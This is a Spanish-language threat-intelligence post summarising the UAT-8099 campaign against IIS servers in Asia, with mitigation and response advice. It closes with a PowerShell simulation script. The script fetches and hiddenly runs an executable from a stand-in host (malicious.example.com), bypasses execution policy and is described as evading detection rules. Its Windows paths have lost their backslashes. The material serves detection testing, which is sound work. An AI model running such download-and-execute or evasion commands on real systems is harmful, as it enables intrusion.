SOC Prime Bias: Crítico

02 Feb 2026 11:31 UTC

Disecando UAT-8099: Nuevos mecanismos de persistencia y enfoque regional

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Disecando UAT-8099: Nuevos mecanismos de persistencia y enfoque regional
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Cisco Talos informa sobre una nueva campaña UAT-8099 que apunta a servidores web IIS vulnerables en Asia. El actor despliega variantes personalizadas de BadIIS que incluyen identificadores regionales y se basa en web shells, PowerShell, y la herramienta de control remoto GotoHTTP para el control posterior. La persistencia se ha ampliado para incluir la creación de cuentas locales ocultas y el uso de herramientas legítimas de equipos de red para integrarse en actividades administrativas. La táctica se superpone con la operación WEBJACK anterior y parece centrarse en el fraude SEO que afecta a sitios en Tailandia y Vietnam.

Investigación

Talos revisó la telemetría de DNS, hashes de archivos y scripts maliciosos para reconstruir la cadena de intrusión. Los analistas observaron web shells combinados con herramientas como SoftEther VPN y EasyTier, además de un conjunto de utilidades personalizadas que incluyen Sharp4RemoveLog, CnCrypt Protect, OpenArk64, y GotoHTTP. Dos cepas de BadIIS ajustadas por región —IISHijack y asdSearchEngine— fueron ingenieradas inversamente, exponiendo códigos de país codificados, filtrado selectivo de solicitudes y configuración C2 cifrada con XOR. También se identificó una compilación ELF de BadIIS con dominios C2 coincidentes en VirusTotal.

Mitigación

Parchear vulnerabilidades expuestas en IIS, fortalecer la aplicación del firewall de aplicaciones web y monitorear la creación de cuentas locales ocultas (por ejemplo, admin$, mysql$ y similares). Detectar actividad de PowerShell que descargue o lance GotoHTTP y bloquear la comunicación saliente a dominios C2 conocidos. Usar controles de endpoint para alertar sobre la ejecución de las utilidades personalizadas identificadas y sobre modificaciones inesperadas dentro de los directorios del servidor web.

Respuesta

Si se encuentran indicadores, aislar el servidor, eliminar web shells y borrar cuentas ocultas. Conservar los binarios de BadIIS y los scripts relacionados para análisis forense, y realizar una revisión completa del tráfico de red para identificar actividad C2. Restaurar desde un respaldo seguro conocido y reforzar la configuración de IIS para prevenir la reinfección.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación Pre-vuelo de Telemetría & Línea Base debe haber pasado.

  • Narrativa del Ataque y Comandos:
    Un atacante ha ganado acceso inicial en un servidor web comprometido. Crean un directorio oculto llamado bad_iis bajo la raíz web de IIS y dejan caer un binario de web shell con nombre personalizado shell_xyz.exe (evitando la cadena literal “web shell”). Usando el shell, ejecutan lateralmente una carga de PowerShell que descarga el binario de GotoHTTP, lo renombran a svc_update.exe, y lo ejecutan. Debido a que los nombres de imagen están ofuscados, se pasan por alto los controles originales de Image|contains , mientras que la línea de comandos aún contiene “PowerShell”.

  • Script de Prueba de Regresión: Este script reproduce los pasos descritos y genera telemetría similar al ataque BadIIS sin usar exactamente las cadenas que la regla monitoriza.

    # BadIIS simulation – obfuscated version
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null
    
    # Deploy a renamed web‑shell (binary copy of a known benign exe)
    $shellSrc = "$env:SystemRootSystem32notepad.exe"
    $shellDst = Join-Path $payloadDir "shell_xyz.exe"
    Copy-Item -Path $shellSrc -Destination $shellDst -Force
    
    # Simulate the web‑shell invoking PowerShell to download GotoHTTP
    $gotoUrl = "http://malicious.example.com/GotoHTTP.exe"
    $gotoDst = "C:WindowsTempsvc_update.exe"
    
    $psCommand = @"
    Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst';
    Start-Process -FilePath '$gotoDst' -WindowStyle Hidden;
    "@
    
    # Execute the PowerShell payload via the renamed web‑shell (process creation)
    Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden
    
    Write-Output "BadIIS simulation executed."
  • Comandos de Limpieza: Elimina los artefactos plantados y restaura el entorno.

    # Cleanup BadIIS simulation artifacts
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue
    
    $gotoDst = "C:WindowsTempsvc_update.exe"
    Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue
    
    Write-Output "Cleanup completed."